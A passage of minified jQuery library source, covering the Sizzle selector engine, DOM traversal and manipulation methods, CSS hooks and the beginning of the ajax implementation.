c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h<i;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case"only":case"first":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k==="first")return!0;l=a;case"last":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case"nth":c=b[2],e=b[3];if(c===1&&e===0)return!0;f=b[0],g=a.parentNode;if(g&&(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1&&(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0&&j/c>=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c<e;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)&4?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex&&b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k<c&&k<d;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement("div"),d="script"+(new Date).getTime(),e=c.documentElement;a.innerHTML="<a name='"+d+"'/>",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="<a href='#'></a>",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="<p class='TEST'></p>";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="<div class='test e'></div><div class='test'></div>";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h<i;h++)m(a,g[h],e,c);return m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[":"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\[\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.POS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!="string")return f(a).filter(function(){for(c=0,d=b.length;c<d;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack("","find",a),g,h,i;for(c=0,d=this.length;c<d;c++){g=e.length,f.find(a,this[c],e);if(c>0)for(h=g;h<e.length;h++)for(i=0;i<g;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a<c;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),"not",a)},filter:function(a){return this.pushStack(T(this,a,!0),"filter",a)},is:function(a){return!!a&&(typeof a=="string"?Q.test(a)?f(a,this.context).index(this[0])>=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d<a.length;d++)f(g).is(a[d])&&c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d<e;d++){g=this[d];while(g){if(i?i.index(g)>-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/<tbody/i,_=/<|&#?\w+;/,ba=/<(?:script|style)/i,bb=/<(?:script|object|embed|option|style)/i,bc=new RegExp("<(?:"+V+")","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*<!(?:\[CDATA\[|\-\-)/,bg={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div<div>","</div>"]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function()
-{for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1></$2>");try{for(var c=0,d=this.length;c<d;c++)this[c].nodeType===1&&(f.cleanData(this[c].getElementsByTagName("*")),this[c].innerHTML=a)}catch(e){this.empty().append(a)}}else f.isFunction(a)?this.each(function(b){var c=f(this);c.html(a.call(this,b,c.html()))}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!="string"&&(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),"replaceWith",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone&&arguments.length===3&&typeof j=="string"&&bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j&&j.parentNode,f.support.parentNode&&i&&i.nodeType===11&&i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c&&f.nodeName(g,"tr");for(var l=0,m=this.length,n=m-1;l<m;l++)d.call(c?bi(this[l],g):this[l],e.cacheable||m>1&&l<n?f.clone(h,!0,!0):h)}k.length&&f.each(k,bp)}return this}}),f.buildFragment=function(a,b,d){var e,g,h,i,j=a[0];b&&b[0]&&(i=b[0].ownerDocument||b[0]),i.createDocumentFragment||(i=c),a.length===1&&typeof j=="string"&&j.length<512&&i===c&&j.charAt(0)==="<"&&!bb.test(j)&&(f.support.checkClone||!bd.test(j))&&(f.support.html5Clone||!bc.test(j))&&(g=!0,h=f.fragments[j],h&&h!==1&&(e=h)),e||(e=i.createDocumentFragment(),f.clean(a,i,e,d)),g&&(f.fragments[j]=h?e:1);return{fragment:e,cacheable:g}},f.fragments={},f.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){f.fn[a]=function(c){var d=[],e=f(c),g=this.length===1&&this[0].parentNode;if(g&&g.nodeType===11&&g.childNodes.length===1&&e.length===1){e[b](this[0]);return this}for(var h=0,i=e.length;h<i;h++){var j=(h>0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test("<"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,"<$1></$2>");var l=(Z.exec(k)||["",""])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement("div");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]==="<table>"&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&X.test(k)&&o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i<r;i++)bn(k[i]);else bn(k);k.nodeType?h.push(k):h=f.merge(h,k)}if(d){g=function(a){return!a.type||be.test(a.type)};for(j=0;h[j];j++)if(e&&f.nodeName(h[j],"script")&&(!h[j].type||h[j].type.toLowerCase()==="text/javascript"))e.push(h[j].parentNode?h[j].parentNode.removeChild(h[j]):h[j]);else{if(h[j].nodeType===1){var s=f.grep(h[j].getElementsByTagName("script"),g);h.splice.apply(h,[j+1,0].concat(s))}d.appendChild(h[j])}}return h},cleanData:function(a){var b,c,d=f.cache,e=f.event.special,g=f.support.deleteExpando;for(var h=0,i;(i=a[h])!=null;h++){if(i.nodeName&&f.noData[i.nodeName.toLowerCase()])continue;c=i[f.expando];if(c){b=d[c];if(b&&b.events){for(var j in b.events)e[j]?f.event.remove(i,j):f.removeEvent(i,j,b.handle);b.handle&&(b.handle.elem=null)}g?delete i[f.expando]:i.removeAttribute&&i.removeAttribute(f.expando),delete d[c]}}}});var bq=/alpha\([^)]*\)/i,br=/opacity=([^)]*)/,bs=/([A-Z]|^ms)/g,bt=/^-?\d+(?:px)?$/i,bu=/^-?\d/,bv=/^([\-+])=([\-+.\de]+)/,bw={position:"absolute",visibility:"hidden",display:"block"},bx=["Left","Right"],by=["Top","Bottom"],bz,bA,bB;f.fn.css=function(a,c){if(arguments.length===2&&c===b)return this;return f.access(this,a,c,!0,function(a,c,d){return d!==b?f.style(a,c,d):f.css(a,c)})},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=bz(a,"opacity","opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h==="string"&&(g=bv.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in g&&(e=g.get(a,!0,d))!==b)return e;if(bz)return bz(a,c)},swap:function(a,b,c){var d={};for(var e in b)d[e]=a.style[e],a.style[e]=b[e];c.call(a);for(e in b)a.style[e]=d[e]}}),f.curCSS=f.css,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){var e;if(c){if(a.offsetWidth!==0)return bC(a,b,d);f.swap(a,bw,function(){e=bC(a,b,d)});return e}},set:function(a,b){if(!bt.test(b))return b;b=parseFloat(b);if(b>=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bq,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bz(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bA=function(a,b){var c,d,e;b=b.replace(bs,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b)));return c}),c.documentElement.currentStyle&&(bB=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f===null&&g&&(e=g[b])&&(f=e),!bt.test(f)&&bu.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f||0,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),bz=bA||bB,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\[\]$/,bF=/\r?\n/g,bG=/#.*$/,bH=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\/\//,bM=/\?/,bN=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bO=/^(?:select|textarea)/i,bP=/\s+/,bQ=/([?&])_=[^&]*/,bR=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=["*/"]+["*"];try{bV=e.href}catch(bY){bV=c.createElement("a"),bV.href="",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("<div>").append(c.replace(bN,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,"\r\n")}}):{name:b.name,value:c.replace(bF,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cc(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bG,"").replace(bL,bW[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bP),d.crossDomain==null&&(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]&&r[2]==bW[2]&&(r[3]||(r[1]==="http:"?80:443))==(bW[3]||(bW[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bM.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,"$1_="+x);d.url=y+(y===d.url?(bM.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bX+"; q=0.01":""):d.accepts["*"]);for(u in 